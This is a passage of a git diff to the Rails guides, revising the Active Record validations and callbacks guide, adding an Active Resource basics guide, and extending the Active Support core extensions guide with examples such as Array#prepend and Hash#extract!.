helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated. Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. @@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default, If you set +:only_integer+ to +true+, then it will use the <ruby> -/\A[+-]?\d+\Z/ +/\A[<plus>-]?\d<plus>\Z/ </ruby> regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. @@ -428,6 +428,8 @@ class GoodnessValidator < ActiveModel::Validator end </ruby> +NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute. + The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated. @@ -454,13 +456,13 @@ This helper validates attributes against a block. It doesn't have a predefined v <ruby> class Person < ActiveRecord::Base - validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + validates_each :name, :surname do |record, attr, value| + record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end </ruby> -The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. +The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid. h3. Common Validation Options @@ -569,11 +571,50 @@ end All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+ -h3. Creating Custom Validation Methods +h3. Performing Custom Validations + +When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer. + +h4. Custom Validators + +Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method. + +<ruby> +class MyValidator < ActiveModel::Validator + def validate(record) + unless record.name.starts_with? 'X' + record.errors[:name] << 'Need a name starting with X please!' + end + end +end + +class Person + include ActiveModel::Validations + validates_with MyValidator +end +</ruby> -When the built-in validation helpers are not enough for your needs, you can write your own validation methods. +The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance. -Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. +<ruby> +class EmailValidator < ActiveModel::EachValidator + def validate_each(record, attribute, value) + unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i + record.errors[attribute] << (options[:message] || "is not an email") + end + end +end + +class Person < ActiveRecord::Base + validates :email, :presence => true, :email => true +end +</ruby> + +As shown in the example, you can also combine standard validations with your own custom validators. + +h4. Custom Methods + +You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. @@ -583,13 +624,15 @@ class Invoice < ActiveRecord::Base :discount_cannot_be_greater_than_total_value def expiration_date_cannot_be_in_the_past - errors.add(:expiration_date, "can't be in the past") if - !expiration_date.blank? and expiration_date < Date.today + if !expiration_date.blank? and expiration_date < Date.today + errors.add(:expiration_date, "can't be in the past") + end end def discount_cannot_be_greater_than_total_value - errors.add(:discount, "can't be greater than total value") if - discount > total_value + if discount > total_value + errors.add(:discount, "can't be greater than total value") + end end end </ruby> @@ -620,7 +663,7 @@ The following is a list of the most commonly used methods. Please refer to the + h4(#working_with_validation_errors-errors). +errors+ -Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors. +Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors. <ruby> class Person < ActiveRecord::Base @@ -700,7 +743,7 @@ Another way to do this is using +[]=+ setter h4. +errors[:base]+ -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to the array and uses it as the error message. +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message. <ruby> class Person < ActiveRecord::Base @@ -710,8 +753,6 @@ class Person < ActiveRecord::Base end </ruby> - - h4. +errors.clear+ The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. @@ -746,7 +787,7 @@ end person = Person.new person.valid? # => false -person.errors.size # => 3 +person.errors.size # => 2 person = Person.new(:name => "Andrea", :email => "andrea@example.com") person.valid? # => true @@ -755,9 +796,10 @@ person.errors.size # => 0 h3. Displaying Validation Errors in the View -Rails maintains an official plugin that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. +Rails maintains an official plugin, DynamicForm, that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. h4. Installing as a plugin + <shell> $ rails plugin install git://github.com/joelmoss/dynamic_form.git </shell> @@ -765,11 +807,12 @@ $ rails plugin install git://github.com/joelmoss/dynamic_form.git h4. Installing as a Gem Add this line in your Gemfile: + <ruby> gem "dynamic_form" </ruby> -Now you will have access to these two methods in your view templates. +Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates. h4. +error_messages+ and +error_messages_for+ @@ -799,11 +842,13 @@ end <% end %> </erb> -To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: +If you submit the form with empty fields, the result will be similar to the one shown below: !images/error_messages.png(Error messages)! -You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. +NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css. + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. <erb> <%= error_messages_for :product %> @@ -811,7 +856,7 @@ You can also use the +error_messages_for+ helper to display the error messages o The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. -Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, <erb> <%= f.error_messages :header_message => "Invalid product!", @@ -819,23 +864,23 @@ Both the +form.error_messages+ and the +error_messages_for+ helpers accept optio :header_tag => :h3 %> </erb> -Which results in the following content: +results in: !images/customized_error_messages.png(Customized error messages)! -If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. +If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded. -h4. Customizing the Error Messages CSS +h4(#customizing-error-messages-css). Customizing the Error Messages CSS -The selectors to customize the style of error messages are: +The selectors used to customize the style of error messages are: * +.field_with_errors+ - Style for the form fields and labels with errors. -* +#errorExplanation+ - Style for the +div+ element with the error messages. -* +#errorExplanation h2+ - Style for the header of the +div+ element. -* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. -* +#errorExplanation ul li+ - Style for the list items with individual error messages. +* +#error_explanation+ - Style for the +div+ element with the error messages. +* +#error_explanation h2+ - Style for the header of the +div+ element. +* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element. +* +#error_explanation ul li+ - Style for the list items with individual error messages. -Scaffolding for example generates +app/assets/stylesheets/scaffold.css.scss+, which later compiles to +app/assets/stylesheets/scaffold.css+ and defines the red-based style you saw above. +If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above. The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. @@ -848,7 +893,7 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel * A string with the HTML tag * An instance of +ActionView::Helpers::InstanceTag+. -Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. +Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. <ruby> ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| @@ -862,17 +907,17 @@ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| end </ruby> -This will result in something like the following: +The result looks like the following: !images/validation_error_messages.png(Validation error messages)! h3. Callbacks Overview -Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. +Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. h4. Callback Registration -In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. +In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: <ruby> class User < ActiveRecord::Base @@ -889,7 +934,7 @@ class User < ActiveRecord::Base end </ruby> -The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line. +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: <ruby> class User < ActiveRecord::Base @@ -901,7 +946,7 @@ class User < ActiveRecord::Base end </ruby> -It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. +It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. h3. Available Callbacks @@ -941,7 +986,7 @@ The +after_initialize+ callback will be called whenever an Active Record object The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. -The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. +The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and they are registered simply by defining them as regular methods with predefined names. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, which would otherwise significantly slow down the queries. <ruby> class User < ActiveRecord::Base @@ -998,7 +1043,7 @@ The +after_initialize+ callback is triggered every time a new object of the clas h3. Skipping Callbacks -Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. * +decrement+ * +decrement_counter+ @@ -1017,13 +1062,13 @@ h3. Halting Execution As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. -The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. +The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. h3. Relational Callbacks -Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model: <ruby> class User < ActiveRecord::Base @@ -1049,11 +1094,11 @@ Post destroyed h3. Conditional Callbacks -Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option. -h4. Using +:if+ and +:unless+ with a Symbol +h4. Using +:if+ and +:unless+ with a +Symbol+ -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the method returns false; when using the +:unless+ option, the callback won't be executed if the method returns true. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. <ruby> class Order < ActiveRecord::Base @@ -1063,7 +1108,7 @@ end h4. Using +:if+ and +:unless+ with a String -You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: <ruby> class Order < ActiveRecord::Base @@ -1071,9 +1116,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using +:if+ and +:unless+ with a Proc +h4. Using +:if+ and +:unless+ with a +Proc+ -Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. +Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners: <ruby> class Order < ActiveRecord::Base @@ -1084,7 +1129,7 @@ end h4. Multiple Conditions for Callbacks -When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. +When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration: <ruby> class Comment < ActiveRecord::Base @@ -1097,18 +1142,19 @@ h3. Callback Classes Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model: <ruby> class PictureFileCallbacks def after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> -When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: +When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: <ruby> class PictureFile < ActiveRecord::Base @@ -1116,13 +1162,14 @@ class PictureFile < ActiveRecord::Base end </ruby> -Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: <ruby> class PictureFileCallbacks def self.after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> @@ -1139,16 +1186,25 @@ You can declare as many callbacks as you want inside your callback classes. h3. Observers -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. h4. Creating Observers -For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. +For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. <shell> $ rails generate observer User </shell> +generates +app/models/user_observer.rb+ containing the observer class +UserObserver+: + +<ruby> +class UserObserver < ActiveRecord::Observer +end +</ruby> + +You may now add methods to be called at the desired occasions: + <ruby> class UserObserver < ActiveRecord::Observer def after_create(model) @@ -1164,7 +1220,7 @@ h4. Registering Observers Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :user_observer </ruby> @@ -1172,7 +1228,7 @@ As usual, settings in +config/environments+ take precedence over those in +confi h4. Sharing Observers -By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe. +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe: <ruby> class MailerObserver < ActiveRecord::Observer @@ -1184,10 +1240,10 @@ class MailerObserver < ActiveRecord::Observer end </ruby> -In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect. +In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :mailer_observer </ruby> @@ -1195,7 +1251,7 @@ h3. Transaction Callbacks There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. -Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after a record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. +Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. <ruby> PictureFile.transaction do @@ -1224,14 +1280,3 @@ end </ruby> The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. - -h3. Changelog - -* February 17, 2011: Add description of transaction callbacks. -* July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. "Jaime Iniesta":http://jaimeiniesta.com -* May 24, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* May 15, 2010: Validation Errors section updated by "Emili Parreño":http://www.eparreno.com -* March 7, 2009: Callbacks revision by Trevor Turk -* February 10, 2009: Observers revision by Trevor Turk -* February 5, 2009: Initial revision by Trevor Turk -* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile new file mode 100644 index 0000000000..851aac1a3f --- /dev/null +++ b/railties/guides/source/active_resource_basics.textile @@ -0,0 +1,120 @@ +h2. Active Resource Basics + +This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in +app/models+. + +h3. Configuration and Usage + +Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class +that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it: + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" +end +</ruby> + +Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes +life cycle methods that operate against a persistent store. + +h3. Reading and Writing Data + +Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol. + +h4. Read + +Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested. + +<ruby> +# Find a person with id = 1 +person = Person.find(1) +# Check if a person exists with id = 1 +Person.exists?(1) # => true +# Get all resources of Person class +Person.all +</ruby> + +h4. Create + +Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object. + +<ruby> +person = Person.create(:name => 'Vishnu') +person.id # => 1 +</ruby> + +h4. Update + +To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format. + +<ruby> +person = Person.find(1) +person.name = 'Atrai' +person.save +</ruby> + +h4. Delete + +'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource. + +<ruby> +person = Person.find(1) +person.destroy +</ruby> + +h3. Validations + +Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors. + +h4. Validating client side resources by overriding validation methods in base class + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" + + protected + + def validate + errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/ + end +end +</ruby> + +h4. Validating client side resources + +Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model: + +<ruby> +person = Person.new(:first_name => "Jim", :last_name => "") +person.save # => false (server returns an HTTP 422 status code and errors) +person.valid? # => false +person.errors.empty? # => false +person.errors.count # => 1 +person.errors.full_messages # => ["Last name can't be empty"] +person.errors[:last_name] # => ["can't be empty"] +person.last_name = "Halpert" +person.save # => true (and person is now saved to the remote service) +</ruby> + +h4. Public instance methods + +ActiveResource::Validations have three public instance methods + +h5. errors() + +This will return errors object that holds all information about attribute error messages + +h5. save_with_validation(options=nil) + +This validates the resource with any local validations written in base class and then it will try to POST if there are no errors. + +h5. valid? + +Runs all the local validations and will return true if no errors. diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile index b35e04d7e1..addf5f78be 100644 --- a/railties/guides/source/active_support_core_extensions.textile +++ b/railties/guides/source/active_support_core_extensions.textile @@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value: <ruby> account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" +# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" </ruby> so its output is ready to be used in a query string. @@ -500,7 +500,7 @@ ActionController::TestCase.class_eval do end </ruby> -Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialised in validations. +Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations. NOTE: Defined in +active_support/core_ext/module/aliasing.rb+. @@ -719,9 +719,9 @@ X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8 X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8 </ruby> -The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ returns always strings. +The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings. -WARNING: This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver. +WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+). NOTE: Defined in +active_support/core_ext/module/introspection.rb+. @@ -864,7 +864,9 @@ end It is shorter, and the intention more obvious. -The macro accepts several methods: +The method must be public in the target. + +The +delegate+ macro accepts several methods: <ruby> delegate :name, :age, :address, :twitter, :to => :profile @@ -1018,7 +1020,7 @@ class A class_attribute :x, :instance_reader => false end -A.x = 1 # NoMethodError +A.new.x = 1 # NoMethodError </ruby> For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+. @@ -2069,6 +2071,30 @@ shape_types = [Circle, Square, Triangle].sample(2) NOTE: Defined in +active_support/core_ext/array/random_access.rb+. +h4. Adding Elements + +h5. +prepend+ + +This method is an alias of <tt>Array#unshift</tt>. + +<ruby> +%w(a b c d).prepend('e') # => %w(e a b c d) +[].prepend(10) # => [10] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + +h5. +append+ + +This method is an alias of <tt>Array#<<</tt>. + +<ruby> +%w(a b c d).append('e') # => %w(a b c d e) +[].append([1,2]) # => [[1,2]] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + h4. Options Extraction When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets: @@ -2696,6 +2722,18 @@ hash # => {:a => 1} NOTE: Defined in +active_support/core_ext/hash/slice.rb+. +h4. Extracting + +The method +extract!+ removes and returns the key/value pairs matching the given keys. + +<ruby> +hash = {:a => 1, :b => 2} +rest = hash.extract!(:a) # => {:a => 1} +hash # => {:b => 2} +</ruby> + +NOTE: Defined in +active_support/core_ext/hash/slice.rb+. + h4. Indifferent Access The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: @@ -3347,7 +3385,7 @@ They are analogous. Please refer to their documentation above and take into acco Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) @@ -3370,7 +3408,7 @@ The method +all_day+ returns a range representing the whole day of the current t now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 </ruby> Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. @@ -3379,13 +3417,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_week -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 now.all_month -# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 +# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 now.all_quarter -# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 +# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 now.all_year -# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 +# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 </ruby> h4. Time Constructors @@ -3480,8 +3518,8 @@ h4. +around_[level]+ Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: <ruby> - logger = Logger.new("log/development.log") - logger.around_info("before", "after") { |logger| logger.info("during") } +logger = Logger.new("log/development.log") 